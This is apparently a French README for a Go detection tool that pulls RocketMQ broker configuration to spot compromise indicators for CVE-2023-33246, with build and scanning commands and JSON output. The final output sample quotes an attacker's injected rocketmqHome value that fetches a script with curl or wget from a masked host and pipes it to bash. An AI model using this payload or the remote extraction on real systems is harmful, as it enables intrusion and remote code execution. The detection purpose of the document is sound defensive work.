
Un exploit en Go pour récupérer la configuration du courtier RocketMQ afin de découvrir des indicateurs de compromission pour CVE-2023-33246
Fetch Broker Configuration tentera de télécharger la configuration du broker RocketMQ afin de rechercher des indicateurs de compromission dans la variable rocketmqHome. Cette variable est utilisée par divers attaquants pour exécuter du code via CVE-2023-33246. Pour plus de détails, consultez le blog de VulnCheck.
Vous pouvez utiliser le makefile pour construire un conteneur docker :
make docker
Ou, si vous avez un environnement de compilation Go prêt, utilisez simplement make :
albinolobster@mournland:~/fetch-broker-conf$ make
gofmt -d -w main.go
golangci-lint run --fix main.go
GOOS=linux GOARCH=arm64 go build -o build/main_linux-arm64 main.go
L'outil est construit sur go-exploit, il existe donc plusieurs façons de fournir des cibles à analyser. Une description complète se trouve dans la documentation de scan du projet. Cependant, voici quelques exemples :
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhost 10.9.49.143 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:27:48.567836165-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts 10.9.49.143,10.9.49.150 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:34:27.505747211-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
{
"time": "2023-09-05T05:34:27.802345043-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.150",
"port": 10911
}
go-exploit permet d'analyser via un fichier CSV de cibles, où le CSV est : host, port, anything if ssl is enabled (bien que le champ SSL soit ignoré si -a est utilisé). Il permet également d'analyser via un proxy. La commande fonctionne comme suit (notez que -a est la détection automatique SSL) :
albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-08-31T13:45:35.781849255-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
"host": "x.x.x.x",
"port": 10909
}